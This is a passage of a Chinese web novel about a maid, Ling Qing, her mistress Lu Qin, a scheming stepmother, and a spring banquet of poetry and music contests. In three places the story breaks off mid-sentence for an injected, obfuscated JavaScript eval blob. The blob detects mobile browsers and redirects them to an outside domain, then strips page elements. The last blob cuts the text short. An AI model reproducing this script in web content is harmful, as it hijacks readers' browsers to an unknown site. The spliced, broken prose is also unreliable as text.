“我用你逞英雄了吗?”凌青淡淡回了一句:“真显着你了,我会水。” 闻言,逄楚之眉梢轻挑,眼中闪过一丝精光:“哦?那看来,刚才落水还真是你故意的了?” 凌青面不改色:“你有证据吗?” 逄楚之盯着她看了良久,忽地轻笑出声,声音压得极低,带了几分磁性:“说吧,这回你又要算计谁?我帮你啊。” 凌青瞥了他一眼,冷笑一声。 两个人就这么东拉西扯,互相讽刺一番,竟也过了挺长时间。 此时陆沁终于将陆皎劝了回去,走了过来,看到凌青浑身湿透的模样,心疼不已:“凌青,快跟我回去换身干净的衣裳,别着凉了。” 凌青点点头,在陆沁的搀扶下,缓缓地向月露榭走去。 临走时,她回头看了逄楚之一眼。 那人还坐在那,牢牢地盯着她。看着她回头,便眨眨眼。 “衣—服—早—就—干—了—”他夸张地做着口型,然后指指陆沁,眼角眉梢全是少年笑意。 凌青立马明白了,他这是说陆皎折腾的时间太长,直到她湿透的衣服都快干了,才解决完,现在回去也用不着换衣服了,都干透了。 “无聊。”她心中道,转身离开。 ————— 栖桐院内。 林雪桐正斜倚在软榻上,翻着本线装的《女论语》。随着翻书的动作,手腕上的翡翠镯子叮咚作响。 屋角的铜炉里,飘出袅袅檀香。林雪桐看到“女人针指,兼通书数。勤俭温柔,端庄贞素。知书识礼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102268|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始称贤妇。”这里,嘴角噙着淡淡的笑意。 忽然,院中传来急促的脚步声。 “母亲!母亲!” 陆皎哭着跑了进来,衣裳还湿漉漉地贴在身上,青丝散乱,脸上满是泪痕,哪里还有往日里作为三小姐的高傲骄矜。 林雪桐听见声音,连忙放下手中的书卷,起身迎了过去。 一看到陆皎这副狼狈样子,她也不由愣住了。 “皎儿,你这是怎么了?” 陆皎“哇”的一声又哭出来,直接扑进林雪桐怀里:“母亲……是陆沁!陆沁她………” 她这副梨花带雨的模样,可把林雪桐心疼坏了。林雪桐不住轻拍着陆皎的后背,声音温柔地安慰道:“不怕………不怕……皎儿,母亲在这。” 她拿起丝帕,轻拭陆皎脸上的泪珠:“快坐下来,让母亲看看你怎么弄的。” 陆皎抽泣着,被林雪桐牵着坐在榻上。过了许久,才断断续续道:“是陆沁害我这样的!她指使恶仆推我下水,明明是她们先动的手,事后还倒打一耙。连令徽哥哥和砚修都...……” 她委屈地转回头去:“都站在她那一边!” 林雪桐听罢,手中擦拭的动作不由一顿,手指缓缓收紧。 下一瞬,她抬眼,眼中的温柔和善消失殆尽,只有化不开的寒意。 “沁儿真的如此行事?”她轻叹一声,声音带着感慨,“我待她不薄,她也一直算是乖巧,只是如今年岁渐长,她的心思怕是也复杂了。” 虽语气还和以前一样温和,却总带着一股令人毛骨发寒的狠意。 “或许是我这个做继母的,终究比不得亲娘的教导。她原来还知道让着你……最近却越发管不住了。我问你,推你下去的那个丫鬟是谁?是她身边那个谷翠,还是新来的那个凌青?” “谷翠哪有那么大的本事!还不是那个凌青!”陆皎咬咬牙道:“一肚子坏主意。我看陆沁现在变得这么精明,就是被她挑唆的!” 林雪桐听到“凌青”两字,脑海里瞬间浮现出那人清冷、镇定、毫无感情的眼神。 “凌青......”她若有所思地重复了一遍这个名字,声音极轻,“从她初入府时,我便觉得这丫头有些.....…不老实。” “本以为我敲打了她,她会安分守己,不想竟如此不知分寸。沁儿心思单纯,容易被人蒙蔽,这才让那丫头钻了空子。” 陆皎越想越气,忍不住道:“那个贱婢!还有陆沁那个蠢货!还有砚修!我真是...……” “皎儿”,林雪桐打断她:“你和砚修一母同胞,是最亲近的人。你也知道,你弟弟一直对沁儿虚与委蛇,他心底是可是最偏疼你的。你可不许怪他。” “是,是,砚修救我上来的,他还是心疼我……可是……” 林雪桐展颜一笑,轻柔地抚摸着陆皎的头发:“我的皎儿就是懂事。快,去换身衣服,泡泡热水去去寒,我再叫人给你送碗姜汤。沁儿今日让你受的委屈,母亲自会给你讨回公道。” 然而陆皎却摇着头,紧紧抓住她的袖子不肯放开:“母亲,我没心情...…我哪里还有心思换什么衣服!” 她声音急切得近乎破音:“你为什么没告诉我,陆沁和令徽哥哥的婚期要提前了啊!” 此话音一落,林雪桐的笑容瞬间僵在脸上。她维持着抚摸女儿头发的动作,但手指却微不可察地颤了一下。 提前婚期? 她丝毫不知此事!老爷竟连这样的大事都不与她商量了么?自从那萧姨娘受宠以来,他对她便日渐疏远。如今竟连府里女儿的终身大事,也要独断专行吗? 良久,她才镇定开口:“你父亲还未与我说,怕是这婚期还不着急吧。” “怎么不着急!今年秋日里就嫁了!”陆皎急得眼泪又要掉下来,“我非令徽哥哥不嫁!他是我小时候,唯一真心关怀过我的男子。母亲,您当初也答应过女儿,要为女儿谋取这门好亲事的!” 林雪桐急忙耐心地去哄她:“母亲既然应了要为你谋取这门亲事,自然不会食言。崔令徽门第显赫,品貌俱佳,年纪轻轻便位居大理寺少卿,前程更是无可限量。这样的好郎君,本就只有我的女儿能配得上。” “可是母亲……您要快点了,上次您让渚碧和陆屏去偷盗嫁妆,本想用当行转移后熔了重铸,还没搬多少就被揭发了。更别提那下的铅粉了,还不知道猴年马月才能起效,我们得快点了!” 林雪桐轻拍着女儿的手,声音依旧平和,却带着某种不容置疑的坚定:“你放心,沁儿不念旧情,我这个做继母的,自然会按规矩办事了。” “规矩?” 林雪桐眸光微抬,眼里狠意不言而喻,唇边却已带上笑容。 “我的皎儿,生来就该得到最好的。” “我一定会让陆沁……一辈子都无法嫁给崔令徽。” 31. 春宴(一) 春风十里,暖阳如醉。 最近府里忙碌了起来,各个院子都热闹得很。凌青每日出院子,都能撞见无数来回穿梭的下人。 他们手里大多捧着刚制好的春衫、精致的头面首饰,一个个步履匆忙,生怕耽搁了什么。 凌青每每经过陆皎的院子,都能听到她在里面大呼小叫。要不是嫌这个不够好看,要不是嫌那个不够显她气度,直把她院里的丫鬟折腾得连连叫苦。 陆沁和陆微也出来的勤了。这一连十几日都是早起去学堂。凌青每次等在学堂外,都能听见里面的念诗声和弹琴声。 诗句内容全都是关于春景的,陆沁和陆微每日都会写上几首应景的诗作,再练上一会儿琴曲。 只是陆沁的诗作经常得到女师傅的连声夸赞,什么“用词雅致”“意境深远”“不愧是京中才女”之类的赞美不绝于耳。 每到这个时候,陆微就会拉下脸,一副被打击到了的样子。 她也跟较上了劲一般,紧盯着陆沁不放。只要陆沁不走,她也绝不离开,仿佛诗词上比不过,就要在精神上实现胜利。 就比如今日,陆沁已经弹完琴准备离去,陆微非要留下故意多弹一曲,一边弹一边仰着她高傲的小下巴,这架势分明是在暗暗较劲。 凌青在外面都不由看无语了:“………” 她正揣摩这陆微到底是个什么心态,谷翠慢慢悠悠走了过来。 “小姐还没下学?” “没有,又被三小姐缠住了。” 谷翠“扑哧”一笑:“三小姐可真逗,她去年的赏花咏春宴就输给了小姐,生气生了一个月。今年她可铆足了劲想赢了小姐呢。” 赏花咏春宴?这是什么东西? 凌青提出了自己的疑问。 谷翠惊得下巴差点没掉下来:“不是吧,大姐,你不知道这是什么?那你觉得咱们府里现在上上下下忙得不亦乐乎是为了什么?” “呃……为了春天有个新气象?” 谷翠:“………好吧,看来你是真不知道。这咏春宴啊,是由京城名门望族轮流举办的雅集。到那一天,京中的世家权贵大多都会来,说不定连皇子公主都会来呢。大家就一起谈诗作画,赏一赏春景。只是在开席之前有个惯例,各家小姐公子都要比试比试才艺,无非就是琴棋书画和作诗。” 她越说越兴奋:“咱们小姐去年在女眷中夺得了诗赋魁首,一首《玉堂春》艳惊四座,直接让我们小姐的才女名号坐实了!” 凌青听完,“哦”了一声,眼中闪过一丝波动。 她若有所思地想了片刻,忽然又问道:“那逄公子会来吗?” 谷翠也回忆了一会儿,缓缓摇摇头:“逄公子按理说是喜欢热闹的,但往年似乎都没参加过,也是奇怪。可能怕他的身份和容貌太张扬吧,你是不知道,每年有多少小姐期盼着见一眼逄公子,却每次都落空。” 期盼着见他?见他什么,见他撒娇撒痴,还是见他委屈巴巴? 不过听到这话,她还是心里松了一口气。 不去便好,她一听咏春宴,立刻萌生了一个计划,这计划需万无一失,她实在不想逄楚之再跳出来瞎蹦哒。 —————— 三月十五,春光正好。 陆府门前已备好了马车,车身髹着朱漆,镶嵌着银饰,一看就是大户人家的派头。几匹西域良马通体雪白,鬃毛梳理得一丝不苟。 老夫人的轿辇停在最前面,她穿着一身紫色诰命服,头戴金钗,只是站在那里,便威仪摄人。 陆沁今日穿得素雅,一袭烟青色的春衫,外罩月白色的褙子,腰间系着嫩绿色的丝绦,在这一片绿意中显得格外清爽。她身后的凌青与谷翠也穿着同色衣服,只是凌青手中还抱着个不小的包袱。 “沁儿,过来。”老夫人看见陆沁过来,便招了招手:“你姨奶奶从姑苏来此,我便邀她同我一起赴宴,共乘一辆马车。你这次便独坐一辆,路上定要顾好自己。” “是,祖母放心。”陆沁应下。 不一会儿,林雪桐带着陆砚修与陆皎缓步而来。她身穿一身藕荷色春衫,面带温柔笑意,从容又端庄。 她身后的陆砚修也是新制了青衫,仍然手摇折扇。看着陆沁,立即笑着来打了个招呼。 而旁边的陆皎是一身桃红色的春装,珠翠满头,倒是俏丽。只是她一看见陆沁与凌青,眼中立刻燃起怒火,整个人浑身戾气,生生冲散了那分娇俏。 她刚要开口说些什么,就被林雪桐一个眼神瞪了回去。她不甘地咬咬唇,只能忍下这口气。 陆微是最后一个到的。 众人本都等得有些不耐烦,林雪桐也派人去请了两次,可迟迟没动静。 莫非这位四小姐想压轴而至,以此来比过陆沁?凌青百无聊赖地想。 忽然,不远处传来脚步声,众人下意识抬眼望去。 只见陆微穿着浅紫色的襦裙款步而来。这颜色极为挑人,寻常人穿了,要么显得肤色发暗,要么显得俗气轻浮。可陆微这明艳精致的五官太盛,这一身紫非但没抢风头,反倒被收的服服帖帖,更显矜贵。 “四妹妹今日可真是好看。”陆沁不由赞叹道。 陆微轻哼一声,扭过头去,嘴角却轻轻扬了起来。 “咱们家的女儿可真是出类拔萃,有沁儿这样的才女,还有微儿这般的美人。”林雪桐一脸慈爱的看着她们,转头向老夫人说道。 老夫人也不由满意的点点头。 陆皎的脸色越发难看,看样如若没有老夫人和林雪桐在场,她能直接扑上来撕了陆沁和陆微。 “走吧。”老夫人发话。 一行人陆续上了马车。凌青跟着陆沁上了第三辆车,车内铺着厚厚的锦缎软垫,四周悬挂着精美的帷幔。小几上摆着茶具和果盘,散发阵阵果香。 众人都坐稳,马车缓缓驶动。 这是凌青第一次坐马车,只能说,就算是如此的好车好马好车夫,也还是止不住这颠簸。 陆沁也有些无聊,目光不由落在凌青抱着的包袱上:“出来一趟,你怎的带了这么多东西?” 凌青答道:“一些吃食,还有备用的衣裳,怕小姐路上饿了,或席上有什么突发变故。还有一些......” 她忽然止住,没再说下去。 谷翠忍不住笑道:“还有什么啊,你怎么搞得神神秘秘的。” 陆沁也生了好奇心,和她一起逗弄起来:“说啊说啊,你又整什么奇奇怪怪的了。今日咏春宴来者众多,你可千万别整事啊。” 不整事,那是不可能的。 但她可从不会主动搞事。只是她预感到这次必然会发生大事,而一向有仇必报的她,自然将狠狠还上一份“大礼”。 春风吹过车帘,徐徐吹到脸上。一路桃花正盛,花瓣随风飘散进车里。 约莫走了半个时辰,马车在一处园子前停下。陆府众人依序下了马车,站在一起。 眼前是一座气势恢宏的园林。园中亭台楼阁错落有致,假山流水相映成趣。处处可见奇花异草,春风拂过,花香阵阵。 此时园中已来了不少人,衣香鬓影,好不热闹。 来往宾客个个衣着华贵。男子们要不锦衣华服,要不青衣白衫,尽显风流;夫人小姐们珠围翠绕,裙裾飞扬,各个都是好颜色。 这就是……只有豪门望族能赴宴的咏春宴? 这些权贵也真是有意思,珠翠金银都压得衣服沉甸甸了,却还偏要选这么个地方,摆上些笔墨纸砚,咏几句风花雪月。仿佛这样就能把身上的富贵洗去,显出几分清高。 就比如陆皎,怕是字都认不全乎,这不也跟着来了。大家不过是借着这宴,好好显摆一下容貌、装扮、家世罢了。 什么咏春,什么雅集,说到底,还不都是些人借着由头,各显各的风光? 好吧……凌青承认她的仇富心又涌上来了。 随着人越来越多,凌青渐渐开始有些不自在。她思索片刻,走到陆沁身后,低声道:“小姐,今日人多眼杂,无论您去哪里,都要带上奴婢和谷翠。” 陆沁有些不解,想问一句,却碍于周围人众多,只能点了点头。 一行人往园中央走去,只是路上遇到的熟人实在太多,陆老夫人和林雪桐不断与各家夫人见礼寒暄,陆沁等人也要频频福身行礼。如此这般,半个时辰过去了,众人竟还没走出多远。 好不容易应付完一波客套,正要继续往前走,凌青忽然被路过的人撞了一下。她手中的包袱顿时掉了下来。 她蹲下身子,拾起包袱,却忽然发现眼前罩下一道黑影。 凌青缓缓抬起头,正对上一双笑盈盈的眼睛。 眼前人身穿一袭水色暗纹的衣袍,衣料漾着微光,透着一股少年气。玄色袖衬处,白鹤刺绣振翅欲飞,鲜活灵动,衬着领口的银白璎珞,更是添了几分随性不羁。 凌青不由愣了。 好.......... 好骚包啊。 她沉默了。然后转头看向躲在一旁偷笑的谷翠,一向无波无澜的眼中竟然出现了控诉的情绪。 不是说他不会来的吗?凌青蹙眉瞪着谷翠。 谷翠耸耸肩,似乎在说自己也不知道。 陆沁看见逄楚之却很是开心:“楚之,你总算来了。以往年年这时候都见不着你。” “想阿姐了啊。”逄楚之又开始嘴甜了:“我刚才看见表哥了呢,他在四处张望,也不知道在那寻谁。阿姐不过去看看?” 陆沁闻言,“啊”了一声,羞涩地低下头:“我,我等会再去。” 逗完陆沁,逄楚之将目光移到凌青身上。 凌青不知道自己现在的脸色臭不臭,反正她心里是不好受。 她再也忍不住了,问道:“逄公子不是从来不来这种宴席吗,这次怎么突然来了?” 逄楚之闻言,笑得更加灿烂:“往年确实如此。” 他定定地看着凌青,语调里带着几分戏虐:“不过今年.......有你在啊。” 凌青:“........” 陆沁和谷翠看着他们俩的互动,不由在那偷笑。凌青冷冰冰地看了逄楚之一眼,正要开口说什么—— 远处忽然传来一阵清脆的铜铃声。 人群中有人抬起头,接着便是窃窃私语声渐起。凌青循声望去,只见一个小厮正摇着铜铃,从□□那头快步走来。 “才艺比试要开始了!”那小厮一边摇铃一边高声喊道。 话音刚落,四周便如潮水般涌动起来。绸缎衣衫摩挲,脚步声渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110983|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密,女眷们的笑语声与男子们的谈论声交织在一起。 凌青只觉得身边的人影晃动,陆沁轻拉了拉她和谷翠的袖子:“走吧。” 她们随着人流往前走,不时踮起脚尖张望前面。逄楚之也跟上,不急不缓地走在一旁。 他今日的出现的确激起了躁动,窃窃私语声瞬间此起彼伏,女子们的目光都忍不住往这边瞥。 “是逄家的那个公子么?” “终于,他今年终于来了!” “他长得真是比我等女子都要美,是不是涂脂抹粉了!” 对这些闲话,逄楚之却似乎毫无察觉,神色如常。 女子们不由都放慢了脚步,有的还往这边靠拢过来。周边人越挤越多,凌青被夹在中间,眉头也越来越紧。 终于,跨过一道月洞门,眼前终于豁然开朗。 一方月台设在庭院中央。台面由汉白玉铺就,边缘围了一圈雕花石栏杆,设有两三级台阶连着地面。周边是流水潺潺,水面上飘着几片桃花。 众世家的人陆续在台下找位置坐定。要参与比试的公子小姐们坐在台下西侧,各位年纪稍长的女眷便坐在正中央。几位参与评审的书院夫子,都端坐在东侧。 谷翠悄悄凑到陆沁身边,压低声音问:“小姐,紧不紧张?” 陆沁点点头:“去年我还不紧张,今年倒有点了。”她顿了顿,“主要是去年拔得魁首,今年要是表现不佳,必会让人失望。” 凌青在一旁静静听着,忽然开口,声音很淡,却字字清楚:“小姐不要被这些规矩束缚着。”她转过身来,目光沉静:“只要表现得尽自己兴致便可。” 陆沁有些愣神,一旁的谷翠和逄楚之也都看了过来。 凌青嘴角微扬,柔弱清冷的脸上竟带了几分不羁:“要是换我上去,哪怕是倒数第一,我也会觉得是别人眼光太窄,欣赏不了我的境界,才不会觉得是自己的问题。” 话音落下,几人似乎都安静了一瞬。 逄楚之原本正漫不经心地喝茶,听到这话,手中动作慢慢停了下来。他侧过头,目光在凌青脸上停留片刻。 他眼中的戏谑之色渐渐收敛,取而代之的是考究的意味。 这时,台上走出一位身着明黄色官袍的男子,他五十有余,却步履沉稳,面容刚正。这正是此次咏春宴的主人,当朝太师顾维荣。 他清了清嗓子,朗声道:"诸位贵客远道而来,老夫深感荣幸。今日春光正好,正宜雅集。才艺比试当随兴致发起,先有琴棋书画剑等才艺五绝展示,最后再请众位公子小姐以‘ 惜春''为主题赋诗一首。” 话音刚落,台下掌声雷动。 “比试正式开始!”顾太师退到一旁。 台下顿时静了下来,年轻的公子小姐们你看看我,我看看你,似乎都在等着别人先上场。这种场合,第一个上台的往往最为关键,既要有勇气,又要有实力压场。 终于,有人动了。 一道红色的身影从人群中缓缓站起。那是一袭大红色的劲装,在一片淡雅的春衫中格外醒目。少女身材颀长,眉眼英气,腰间悬着一柄平平无奇的长剑。 她站起身来,朝四周深深一礼。动作干净利落,毫不拖泥带水。 “我乃镇北洛将军之女洛清影,”她的声音清亮,“不才,愿为诸位献上一曲剑舞。” 话音落下,她持剑而立,转身面向月台。 忽然,她足尖轻点,整个人如飞燕般跃起。红色身影划过空中,轻盈地落在月台之上。 台下传来一声轻呼,接着是更多是女子的惊叹声。 洛清影手握剑柄,闭目凝神。春风拂过,高高束起的青丝无风自动。 忽然,眼睛睁开。 剑出鞘的瞬间,银光乍现,长剑如秋水般明净,映着她眉宇间的飒飒英气。 第一式,她持剑直刺,剑尖颤动。 第二式,横扫而过,剑气如虹,带起一阵风声。 第三式,纵身跃起,在空中旋转,剑光如轮,寒气逼人。 她的身法飘忽不定,时而凌厉,剑影密集得让人数不清有多少道。时而又温润,剑尖轻点苍天,行云流水。 台下鸦雀无声,所有人都屏住了呼吸。 最后一式,她凌空跃起,在半空中停顿了一瞬———然后长剑直指苍穹,剑气冲霄! 落地时,剑尖轻点月台,发出一声清脆的“叮”。 余音袅袅,久久不散。 台下先是一片死寂,接着爆发出雷鸣般的掌声和喝彩声。 “好!” “洛姑娘真是英姿飒爽!” “谁说只有男儿会舞剑,我们女子也不比你们差!” 女子们出一色的全是惊叹,几个公子哥不乐意了,酸溜溜地撇嘴。 “我看也就那样,全都是花架子。” “这样舞刀弄枪的,怕是其他一点才艺都不会吧。女子,还是本分点为好。” 坐在席上的文渊书院院长缓缓起身,捋着胡须点头:“洛小姐这剑舞,颇有公孙大娘之姿。所谓''来如雷霆收震怒,罢如江海凝清光'',①这形容洛小姐之剑也是恰如其分啊。” 其他几位夫子也纷纷赞许。洛清影将长剑归鞘,朝四周再次一礼,从容退到一旁。 32. 春宴(二) 才艺大展示 凌青望着那道红色的身影,竟有一刻恍惚。 曾几何时,她也看过类似这样的剑舞。也是这样不被世俗规矩束缚的洒脱,这样巾帼不让须眉的英气。 姐姐....... 她不由攥紧了手心。 去年这个时候,也是这样的春日。那时.......姐姐和父亲还都在她身边。 本朝女子婚嫁颇晚,大多女子都是待字闺中于十八岁时再嫁人。去年,姐姐十九岁,正当谈婚论嫁的时候。因她容色倾城,父亲又是县里颇受爱戴的小官,所以哪怕她只喜爱舞刀弄枪,登门求亲的人还是络绎不绝,几乎踏破了门槛。 她记得自己曾问过姐姐有无相中的人,姐姐却笑了,摇头。 “我生来就不是要嫁人的。因为我的手,不是来绣花的,而是来握剑的。我要做的不是贤妻良母,而是顶天立地,仗剑走天涯的江湖游侠。” 她毫不意外姐姐会说出这样一番话。因为姐姐一向如此,敢笑敢怒,敢爱敢恨,从不将自己困在女子的条条框框里。 她正回想着姐姐说这话时的神态,耳边忽然传来声音。 “看入神了?” 低沉的男声,带着一丝探究。凌青回过神来,发现逄楚之正侧着身子看她,桃花眼中闪烁着说不清的心思。 “是也想成为像洛小姐那样的人吗?”他声音很轻,像是随口问出。 凌青敛了敛神色,淡淡道:“我自然佩服洛小姐,只是我志不在此。”她转过头看向逄楚之,“逄公子也和那些男子一样,觉得洛小姐很出格吗?” 她没指望逄楚之说出什么好话,天下男子本就不希望女子之强越过自己。逄楚之大概又会像以前一样,随便撒个娇,打个哈哈过去吧。 没想到,话音一落,他神色却难得地认真起来。 “我不如她。”逄楚之收起了平日里的轻佻,声音里带着一种她从未听过的感慨,“女子能达成这样,本就要比男子付出更多努力。都说女子只要本本分分,仰仗男人,便可衣食无忧。却没有人说她们背负的枷锁有多重。而洛小姐,她不仅挣脱了这些枷锁,还比男子做得更好。“ “我倒希望,天下女子,都能洒脱一点.........可我也知道,大多数女子都摆脱不了这枷锁。” “不是她们不想,而是这枷锁太重,挣脱太难。” 他说完最后一句话,便垂下眸子。眉峰微蹙,竟然带了些许落寞,似乎也同她一样回忆起了什么。 凌青有些意外地看着他,一时分不清他说的是真话还是假话。她原以为自己已彻底看透他的虚伪,这时候却忽然有些不确定了。 就在这时,太师顾维荣再次朗声道:“各位公子小姐,可有愿意上台一展才艺的?” 方才洛清影的开场,仿佛打破了什么无形的屏障。闻听此言,台下的气氛更是活跃起来,原本的拘谨和忸怩一扫而空。接下来又有几位公子小姐陆续上台,有抚琴的,有作画的,有对弈的。大家各展才艺,皆是令人大开眼界。 凌青不再与逄楚之说话,专心看这些名门权贵如何“大显神通”。 过了好几轮后,终于有个熟悉的面孔站了起来。 是陆微。她起身走向前,凤眼微挑,艳若桃李,容貌姿态,宛如仕女图中的美人。 “这就是陆家的四小姐?当真是美若天仙!”台下有人忍不住赞叹。 “这般模样,便是不会什么才艺,光是站在那里就足够赢了。” 出乎凌青和陆沁意料的是,陆微并没有展示琴艺,而是请下人搬来了笔墨纸砚。 “小女不才,愿为诸位作画一幅。”她仰起下巴,声音冷傲且自信。 她研墨蘸笔,在众人的注视下开始作画。 纤细的手指握着毛笔,在宣纸上轻点慢描。笔下是一枝桃花,虽然画技称不上精湛,但那桃花竟真有几分灵动之气,花瓣似乎还带着晨露,仿佛能让人透过宣纸闻着阵阵清香。 最妙的是,她竟在花枝旁添了一个美人的剪影,那美人似是由桃花幻化而成,衣袂飘飘,神韵动人,整幅画顿时有了“桃花化美人”的意境。 她原本画功只是中上,桃花也是中规中矩。可这犹如桃仙的美人一出,立即为这画添了几分新奇。 台下又是一片叫好声,虽然比不上对洛清影舞剑时的震撼,但也颇为热烈。 凌青不由看着面容骄傲的陆微,却见她走下台,在洛清影身旁停留了片刻。 陆微对着她莞尔一笑,附在耳边说了几句话。洛清影原本严肃冷淡的神色立即冲淡了,也露出了个笑容。两人一个明艳如霞,一个飒爽如风。一红一紫,看着格外相配。 谷翠凑到陆沁耳边小声道:“四小姐和洛小姐关系一直很好,从小时候玩到现在。她们都是那种很有主见的人。” 凌青点点头:“看出来了,不过四小姐的画技倒是不错。” 谷翠“哼”了一声:“再好也比不上小姐,咱们小姐的画那才叫一个出神入化呢!去年小姐也画了桃花,直接让夫子们都起身叫好。只不过今年,小姐想换个花样,试试琴艺。” 接下来,又是一众人接连上去。 陆砚修也上台展示了一番书法。他提笔写下了一首《洛神春思贴》,龙飞凤舞的字迹颇有几分卫鹤辞的风范,赢得满堂喝彩。 陆砚修本就是这一代的佼佼者,不仅文采斐然,外貌上佳,性格更是谦谦君子,台下不少闺秀都偷偷打量着他。 只有凌青,知道他那层人皮下面,是多么肮脏的一块血肉。她看着陆砚修,露出冷笑。 此时,陆沁也终于做好了准备。她深吸一口气,正要起身,忽然一道身影抢先站起。 “小女陆皎,愿为诸位献上一曲《折柳入梦》。” 凌青抬眼看去,说话的竟是........陆皎? 她还会弹曲呢? 陆皎眉目间带着一丝得意的笑容,往前走的时候,眼睛还特意往陆沁这边瞟了一眼,挑衅之意不言而喻。 陆沁愣住了,脸色瞬间变得苍白。她今天准备的也是琴艺,本想着现在就上台,没想到陆皎却抢先一步。 “这......”陆沁蹙起眉,“三妹妹她......” 陆皎款款上台,在众人面前盈盈一拜,然后坐在古琴前。她故意整理了一下裙摆,又调试了一下琴弦,一副从容不迫的样子,中途还顺便含情脉脉地看了看台下的崔令徽。 一切就绪,她才正襟危坐。手指轻抚琴弦,动作虽然流畅,但指法并不十分娴熟。 然而,这曲子却起调极妙,起承转合恰到好处。曲子所用技艺似乎是为陆皎量身定做,将她不擅的韵律全部规避。陆皎自己也深知这一点,所以她弹得格外小心,严格按照反复练习过的指法进行,不敢有丝毫偏差。 饶是如此,却仍让人听得心旷神怡。曲子旋律清雅,又颇有意境,将折柳春意、少女娇俏表达得淋漓尽致,直叫人听之欲醉。 谷翠却不买账,怒气冲冲道:“定是花重金请人谱的曲子,还找了名师指点,就为了今天这一出戏。就她之前的水平,跟弹棉花没什么区别。她为了压小姐一头,可真是煞费苦心!” 凌青淡声:“她为了出头,肯花心思在这上面,还日夜努力,这行为倒没什么错。” 谷翠不满地转过头:“凌青,你怎么帮她说话?” “于理并无错,于情上,我自然觉得她不如小姐弹得好。她肯取巧,天赋却实在一般。” 谷翠这才满意:“这话还差不多。” 陆皎这一曲结束,果然赢得了不少掌声。可能因为她往年表现平庸,这次忽然进步,评分也颇为不错。 她下台时,故意看了陆沁一眼,眼中的得意之色毫不掩饰。 “小姐,你看她!您还不上去让她见识一下么?” “我.......”陆沁本就紧张,此刻更是不知所措,“现在上去,岂不是要被人拿来和她比较?我琴艺本就不是最拿手.......” 她的声音越来越小,到最后没了声音。 凌青静静看着她,过了片刻,才开口道:“小姐忘了刚才我说的话吗?” 陆沁茫然地看着她。 “不要被这些规矩束缚,按照自己的想法行事便是。”她的目光沉静且坚定,“您的琴艺如何,你我心中都清楚。区区一个只练了个把月的三小姐,又算得了什么?” 她话音刚落,逄楚之的声音就跟在后面:“是啊,阿姐,我等会也要上去呢。你要是不敢,那我也没勇气上去了。你就给我做个榜样吧,好不好?” 逄楚之又装出一副可怜兮兮的样子,陆沁看看他,又看看凌青坚定的目光,心中忽然涌起一股信心。 她深吸一口气,站起身来,声音虽然还有些颤抖,但透着一股坚定:“我去。” 她踏上月台的那一刻,整个园子似乎都安静下来。 每年咏春宴,陆沁都能艳惊四座。她的“京中第一才女”名号,从来无人敢质喙。这次她一出场,众人都不约而同屏住呼吸。 所有人都在期待,这个向来以才学镇住全场的才女,这次又会带来怎样一番不同以往的惊喜。 陆沁在古琴前落座,洁白如玉的手指轻抚琴弦。她深呼吸,感受着琴弦微凉的触感。 那一瞬间,所有的紧张和忐忑都消失了,只余下她与面前的古琴。 《白雪》的第一个音律响起。 只是第一声,便如白雪飘洒,清冷中又带着说不出的韵味。那琴音空灵澄澈,仿佛天地间的纯白一片,不惹半分尘埃。 随着曲调渐入佳境,陆沁的指法愈发灵动。她弹奏的《白雪》并非寻常的原调,而是融入了自己改过的韵律。琴音时而如冬末,雪花纷飞,轻柔缱绻;时而又如春初,冰雪消融,春风化雪,万物复苏,生机勃勃。 台下的人渐渐闭上眼睛,沉浸其中。 这琴音似有种特殊的力量,能将人带到记忆中最柔软的地方。 凌青闭着眼,思绪却已飘到了那清河县的小瓦院。 琴音渐入高潮,陆沁的神情也愈发温柔,这份感情,也带入了琴里。 这种温柔,如春风化雨,润物无声。绝不是刻意的迎合,而是源自内心的那份宽容与慈悲。仿佛冰雪再冷,也敌不过时序轮替。当春日第一轮暖阳当空之际,所有的寒,终将化为暖意。 是啊......世间没有化不开的冰。 凌青缓缓睁开眼睛。 一曲将终,琴音渐渐轻柔下来。最后几个音律如丝如缕,袅袅不散。 台下先是死寂,许多人仍闭着眼睛,久久不能回神。 过了许久,在陆沁忍不住站起来之时,台下终于爆发出比之前任何一次都要热烈而持久的喧嚣声。 “好一曲《白雪》!” “陆二小姐这琴艺,当真是炉火纯青!” “《白雪》虽流传百年,却已早失了新鲜感,这种曲子能弹出新意,难上加难!” 顾太师更是激动得起身,连声叫好:“好!好!这才是《白雪》的真髓所在!空灵而不孤寂,润物而含温情,当真是难得的好琴艺!” 崔令徽满眼都是惊艳,眼睛直直地盯在陆沁身上,不舍得离开。 陆皎看见这一幕,脸色难看到了极点,她本以为自己那首足够出彩,哪知道陆沁这一曲《白雪》直接将她比成了平庸之曲!她咬着唇,眼中闪过一丝恨意。 老夫人满脸骄傲,眼中闪着泪光:“好孩子,好孩子!这才是我陆家的女儿该有的样子!” 一旁的林雪桐但笑不语。 陆沁在众人目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 